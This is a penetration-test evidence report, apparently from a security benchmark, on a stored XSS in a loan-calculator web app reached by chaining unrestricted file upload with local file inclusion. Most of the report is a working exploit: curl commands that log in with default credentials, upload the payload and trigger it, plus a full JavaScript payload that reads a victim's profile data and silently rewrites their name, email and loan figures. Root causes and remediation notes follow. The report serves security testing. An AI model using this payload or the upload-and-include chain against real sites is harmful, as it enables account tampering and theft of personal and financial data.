# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS via File Upload + LFI Chain

**Summary:**
- **Vulnerable location:** File upload at `POST http://localhost:42029/update_profile` combined with Local File Inclusion at `GET http://localhost:42029/error?error_type=../images/[filename]`
- **Overview:** Attacker uploads malicious HTML file through unrestricted file upload, then triggers JavaScript execution by including the uploaded file via LFI in the error page template rendering
- **Impact:** Complete unauthorized profile modification, sensitive data exfiltration, persistent XSS allowing attacker to execute arbitrary JavaScript in victim's browser context
- **Severity:** Critical (CVSS 8.7) - Confidentiality: HIGH, Integrity: HIGH, Availability: LOW

**Prerequisites:**
- Authentication required to upload malicious file (default credentials: test/test available)
- No special tools required beyond standard web browser or curl/fetch API
- Application running at http://localhost:42029/

**Exploitation Steps:**

**Phase 1: Upload Malicious HTML File**

1. Authenticate to the application:
   ```bash
   curl -X POST http://localhost:42029/login \
     -d "username=test&password=test" \
     -c cookies.txt -L
   ```

2. Create malicious HTML payload file (`advanced_xss_payload.html`):
   ```html
   <div style="display:none" id="exploit-container">
   <h3>XSS Exploitation in Progress...</h3>
   </div>
   <script>
   (async function() {
       const results = {
           exploitation_target: 'http://localhost:42029/',
           timestamp: new Date().toISOString(),
           domain: document.domain,
           url: window.location.href,
           cookies: document.cookie || 'HttpOnly flag prevents access',
           unauthorized_actions: []
       };

       // Exfiltrate user profile data
       try {
           const profileResponse = await fetch('/profile');
           const profileHtml = await profileResponse.text();
           
           const parser = new DOMParser();
           const profileDoc = parser.parseFromString(profileHtml, 'text/html');
           const inputs = profileDoc.querySelectorAll('input[type="text"], input[type="email"]');
           
           const profileData = {};
           inputs.forEach(input => {
               const label = input.previousElementSibling?.textContent || 'unknown';
               profileData[label] = input.value;
           });
           
           results.unauthorized_actions.push({
               action: 'Profile Data Exfiltration',
               success: true,
               data: profileData
           });
       } catch (e) {
           results.unauthorized_actions.push({
               action: 'Profile Data Exfiltration',
               success: false,
               error: e.message
           });
       }

       // Perform unauthorized profile modification
       try {
           const formData = new FormData();
           formData.append('name', 'HACKED_BY_XSS');
           formData.append('lastname', 'EXPLOITED');
           formData.append('email', 'attacker@evil.com');
           formData.append('loan_amount', '999999');
           formData.append('loan_term_months', '999');
           formData.append('monthly_payment', '1');
           
           const modifyResponse = await fetch('/profile', {
               method: 'POST',
               body: formData
           });
           
           results.unauthorized_actions.push({
               action: 'Unauthorized Profile Modification',
               success: modifyResponse.ok,
               status: modifyResponse.status,
               note: 'Profile modified to demonstrate impact'
           });
       } catch (e) {
           results.unauthorized_actions.push({
               action: 'Unauthorized Profile Modification',
               success: false,
               error: e.message
           });
       }

       // Display results
       console.log('=== XSS EXPLOITATION RESULTS ===');
       console.log(JSON.stringify(results, null, 2));
       
       const container = document.getElementById('exploit-container');
       container.style.display = 'block';
       container.style.border = '3px solid red';
       container.style.padding = '20px';
       container.style.background = '#ffe0e0';
       container.innerHTML = '<h2>XSS EXPLOITATION COMPLETE</h2><pre>' + JSON.stringify(results, null, 2) + '</pre>';
   })();
   </script>
   ```

3. Upload the malicious file via the profile update form:
   ```bash
   curl -X POST http://localhost:42029/update_profile \
     -b cookies.txt \
     -F "name=Test" \
     -F "lastname=User" \
     -F "email=test@test.com" \
     -F "loan_amount=10000" \
     -F "loan_term_months=60" \
     -F "monthly_payment=212.47" \
     -F "image_profile=@advanced_xss_payload.html"
   ```
   
   **Expected result:** File uploaded successfully to `/var/www/loan_calculator/app/static/images/advanced_xss_payload.html`

**Phase 2: Trigger XSS Execution via Local File Inclusion**

4. Navigate to the error page with LFI payload to execute the uploaded JavaScript:
   ```
   http://localhost:42029/error?error_type=../images/advanced_xss_payload.html
   ```
   
   Or using curl:
   ```bash
   curl http://localhost:42029/error?error_type=../images/advanced_xss_payload.html \
     -b cookies.txt
   ```

   **Path resolution:**
   - Input: `error_type=../images/advanced_xss_payload.html`
   - Backend processing: `error_type = 'templates/' + '../images/advanced_xss_payload.html'`
   - Resolved path: `templates/../images/advanced_xss_payload.html` → `/var/www/loan_calculator/app/static/images/advanced_xss_payload.html`
   - Path traversal validation passes (file is within `/static/` directory)
   - Jinja2 template directive: `{% include 'images/advanced_xss_payload.html' %}`
   - Result: HTML rendered and JavaScript executed in browser

**Phase 3: Verify Impact**

5. Check browser console for exploitation results:
   ```
   Expected console output:
   === XSS EXPLOITATION RESULTS ===
   {
     "exploitation_target": "http://localhost:42029/",
     "timestamp": "2025-10-31T18:57:09.564Z",
     "domain": "localhost",
     "url": "http://localhost:42029/error?error_type=../images/advanced_xss_payload.html",
     "cookies": "HttpOnly flag prevents access",
     "unauthorized_actions": [
       {
         "action": "Profile Data Exfiltration",
         "success": true,
         "data": {
           "Name:": "\" onclick=\"alert(1)\"",
           "Last Name:": "Doe",
           "Email:": "test@test.com",
           "Loan Amount:": "10000.0",
           "Loan Term (Months):": "60",
           "Monthly Payment:": "212.47"
         }
       },
       {
         "action": "Unauthorized Profile Modification",
         "success": true,
         "status": 200,
         "note": "Profile modified to demonstrate impact"
       }
     ]
   }
   ```

6. Verify unauthorized profile modification by navigating to the profile page:
   ```
   http://localhost:42029/profile
   ```
   
   **Expected result:**
   - Name: HACKED_BY_XSS (modified from original value)
   - Last Name: EXPLOITED (modified from "Doe")
   - Email: attacker@evil.com (modified from "test@test.com")
   - Loan Amount: 999999.0 (modified from "10000.0")
   - Loan Term: 999 months (modified from "60")
   - Monthly Payment: 1.0 (modified from "212.47")

7. Verify persistence by checking the home page:
   ```
   http://localhost:42029/home
   ```
   
   **Expected result:** Page displays "Welcome HACKED_BY_XSS EXPLOITED!" instead of original user name

8. Verify loan details page also reflects modified data:
   ```
   http://localhost:42029/loan_details
   ```
   
   **Expected result:**
   - "Your loan principal is 999999.0"
   - "The term of your loan principal 999 months"
   - "Your monthly payment is 1.0"

**Proof of Impact:**

**1. JavaScript Execution Confirmed:**
   - Browser console log: "=== XSS EXPLOITATION RESULTS ===" @ http://localhost:42029/error?error_type=../images/advanced_xss_payload.html
   - Complete JavaScript execution with full DOM access
   - No Content Security Policy (CSP) restrictions

**2. Sensitive Data Exfiltration:**
   - Successfully extracted user profile data via XSS-triggered fetch request:
     - Name: "\" onclick=\"alert(1)\""
     - Last Name: Doe
     - Email: test@test.com
     - Loan Amount: 10000.0
     - Loan Term: 60 months
     - Monthly Payment: 212.47
   - Data captured and logged to console (in real attack, would be exfiltrated to attacker server)

**3. Unauthorized Profile Modification (Critical Impact):**
   - XSS payload successfully performed POST request to `/profile` endpoint
   - Response status: 200 (success)
   - Complete profile data modification achieved:
     - Name changed to "HACKED_BY_XSS"
     - Last name changed to "EXPLOITED"
     - Email changed to "attacker@evil.com"
     - Loan amount changed to 999999.0
     - Loan term changed to 999 months
     - Monthly payment changed to 1.0
   - Modifications persisted across all application pages (home, profile, loan_details)

**4. Attack Vector Characteristics:**
   - **Persistence:** Stored XSS - malicious file remains on server until manually deleted
   - **Scope:** Any user (authenticated or unauthenticated) who visits the crafted URL will have JavaScript executed in their browser context
   - **No CSRF Protection:** Profile modification succeeded without CSRF tokens
   - **HttpOnly Flag:** Session cookies are HttpOnly-protected (document.cookie returns empty), preventing direct cookie theft but not preventing unauthorized actions

**5. Additional Attack Scenarios Enabled:**
   - **Cross-Site Request Forgery via XSS:** Attacker can perform any authenticated action on behalf of victim
   - **Credential Phishing:** XSS can inject fake login forms to capture passwords
   - **Session Riding:** Use victim's existing session to perform actions without needing to steal cookies
   - **Information Disclosure:** Extract any data visible in the DOM or accessible via fetch API
   - **Malware Distribution:** Redirect users to malicious sites or trigger drive-by downloads
   - **Privilege Escalation:** If admin user visits malicious link, attacker gains admin access

**Notes:**

**Authentication Requirement:**
- Attacker must be authenticated to upload the malicious file
- Default credentials (test/test) are publicly known and provide immediate access
- However, once uploaded, the XSS link can be shared with ANY user (authenticated or not)
- Victim does not need to be authenticated to have JavaScript execute in their browser

**Vulnerability Root Causes:**
1. **Unrestricted File Upload:** No file type validation, MIME type checking, or content sanitization on `/update_profile` endpoint
   - Application accepts HTML files when only image files should be allowed
   - No file extension whitelist (should restrict to .png, .jpg, .gif, etc.)
   - Code location: `/app/website/app/routes.py` lines 100-112

2. **Local File Inclusion:** Error page allows including arbitrary files from `/static/` directory via `error_type` parameter
   - No whitelist of allowed template files
   - Path traversal allowed within `/static/` directory
   - Code location: `/app/website/app/routes.py` lines 122-133, `/app/website/app/static/templates/error.html` line 27

3. **Dangerous Template Inclusion:** Jinja2 `{% include %}` directive renders included files as templates, executing embedded JavaScript
   - Uploaded user content treated as trusted template code
   - No Content Security Policy to restrict inline script execution

**Security Controls Bypassed:**
- ✅ Jinja2 auto-escaping: Bypassed by using template inclusion instead of variable interpolation
- ❌ No Content Security Policy (CSP): Inline scripts execute freely
- ❌ No file upload validation: HTML files accepted in image upload field
- ❌ No template inclusion whitelist: Any file in `/static/` can be included
- ❌ No CSRF protection: State-changing operations succeed without tokens
- ⚠️ HttpOnly flag: Prevents direct cookie theft but doesn't prevent XSS-driven actions

**Business Impact:**
- **Account Takeover:** Attacker can modify victim's profile, email address for password reset attacks
- **Financial Data Manipulation:** Loan amounts and payment information can be altered
- **Reputation Damage:** Persistent XSS can affect all users visiting the malicious link
- **Compliance Violations:** Unauthorized access to PII (name, email, financial data)
- **Credential Harvesting:** XSS can inject phishing forms to capture user credentials

**Evidence Artifacts:**
- Screenshot 1: xss_exploitation_profile_modified.png - Shows profile page with modified data (HACKED_BY_XSS, EXPLOITED, attacker@evil.com, etc.)
- Screenshot 2: xss_exploitation_home_page.png - Shows home page displaying "Welcome HACKED_BY_XSS EXPLOITED!"
- Payload file: /tmp/advanced_xss_payload.html - Complete malicious HTML payload
- Console logs: Full exploitation results logged to browser console with timestamps and action details

**Remediation Priority:** CRITICAL - Immediate action required

---

**End of XSS Exploitation Evidence Report**

**Generated:** 2025-10-31  
**Target:** http://localhost:42029/ (XBEN-022-24 Loan Calculator)  
**Exploitation Status:** COMPLETE - 1 vulnerability successfully exploited with critical impact demonstrated  
**Next Phase:** Final report compilation